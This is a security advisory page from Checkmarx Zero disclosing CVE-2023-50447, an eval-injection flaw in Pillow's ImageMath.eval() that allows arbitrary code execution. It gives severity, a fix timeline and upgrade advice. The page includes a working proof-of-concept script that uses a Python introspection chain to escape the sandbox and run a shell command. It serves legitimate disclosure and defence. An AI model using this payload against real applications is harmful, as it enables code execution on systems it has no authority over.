--- title: "CVE-2023-50447" date: "2024-01-02T07:00:00+00:00" url: "https://checkmarx.com/zero/vulnerabilities/cve-2023-50447/" --- # CVE-2023-50447 [Disclosed vulnerabilities](https://checkmarx.com/zero/vulnerabilities/) Fixed: Jan 2, 2024 CVE-2023-50447 **Published:** Jan 2, 2024 CWE-95 CWE-95 Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') 9 Critical Severity arbitrary code execution DS Duarte Santos Reported by Checkmarx Zero Details Overview ## Summary A critical security flaw is present in the Python `Pillow` package in versions prior to 10.2.0. If an attacker has control over the keys passed to the environment argument of `PIL.ImageMath.eval()`, they may be able to execute arbitrary code. To prevent this, keys matching the names of builtins and keys containing double underscores will now raise a `ValueError`. ## Product This vulnerability affects the Python `Pillow` package in versions prior to 10.2.0. ## Impact This vulnerability allows to execute arbitrary code. ## Steps to reproduce 1. Create a `.py` file with the code: ```python from PIL import Image, ImageMath image1 = Image.open('__class__') image2 = Image.open('__bases__') image3 = Image.open('__subclasses__') image4 = Image.open('load_module') image5 = Image.open('system') expression = "().__class__.__bases__[0].__subclasses__()[104].load_module('os').system('whoami')" environment = { image1.filename: image1, image2.filename: image2, image3.filename: image3, image4.filename: image4, image5.filename: image5 } ImageMath.eval(expression, **environment) ``` 2. Create the following 5 images in the same directory as the Python file: “\_\_class\_\_”, “\_\_bases\_\_”, “\_\_subclasses\_\_”, “load\_module”, and “system”; 3. Execute the Python file. ### Expected result: Executing `whoami` displays the username of the currently logged-in user. ## Remediation A [fix](https://github.com/python-pillow/Pillow/commit/02c6183d41c68a8dd080f5739f566bd82485822d) was released, where keys matching the names of builtins and keys containing double underscores will now raise a `ValueError`. Users are recommended to upgrade to version 10.2.0, which includes this fix. ## Credit This issue was discovered and reported by Checkmarx AppSec Analyst [Duarte Santos](https://www.linkedin.com/in/duartecsantos/). ## Resources 1. [Release Note](https://pillow.readthedocs.io/en/stable/releasenotes/10.2.0.html#imagemath-eval-restricted-environment-keys) 2. [Commit](https://github.com/python-pillow/Pillow/commit/02c6183d41c68a8dd080f5739f566bd82485822d) 3. [Blog Post](https://duartecsantos.github.io/2024-01-02-CVE-2023-50447/) 0 Critical Severity CVSS v3.1 Score 9 CVSS v3.1 Vectors- Attack Vector: Network - Attack Complexity: High - Privileges Required: None - User Interaction: None - Scope: Changed - Confidentiality Impact: High - Integrity Impact: High - Availability Impact: High Advisory Timeline1. Discovered Oct 20, 2023 2. Disclosed Oct 25, 2023 The vulnerability was privately disclosed to the maintainer 3. Fixed Jan 2, 2024 A fix commit was released with the vulnerability fix ## Explore more findings [27 Nov 2025 CVE-2025-34281 Stored Cross-Site Scripting (XSS) in ThingsBoard 6.2 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-34281/) [17 Jan 2025 CVE-2025-0825 HTTP Response Splitting in cpp-httplib 6.9 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-0825/) [17 Jun 2025 CVE-2025-6050 Stored Cross-Site Scripting (XSS) in Mezzanine CMS Admin Interface 4.8 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-6050/) [12 Dec 2024 CVE-2024-8374 Code Injection in UltiMaker Cura 7.8 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-8374/) [14 Nov 2024 CVE-2024-52526 Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Tab 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-52526/) [14 Nov 2024 CVE-2024-51497 Stored Cross-site Scripting in @LibreNMS/LibreNMS Custom OID Tab 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51497/) [14 Nov 2024 CVE-2024-51496 Reflected Cross-site Scripting in @LibreNMS/LibreNMS /wireless and /health endpoints 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51496/) [ 14 Nov 2024 CVE-2024-51495 Stored Cross-site Scripting in @LibreNMS/LibreNMS Device Overview `overwrite\_ip` Field 7.5 Visit the page ](https://checkmarx.com/zero/vulnerabilities/cve-2024-51495/) [14 Nov 2024 CVE-2024-51494 Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51494/) [14 Nov 2024 CVE-2024-50352 Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Section of Device Overview 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50352/) [14 Nov 2024 CVE-2024-50351 Reflected Cross-site Scripting in @LibreNMS/LibreNMS Logs Tab 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50351/) [14 Nov 2024 CVE-2024-50350 Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings Port Group 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50350/)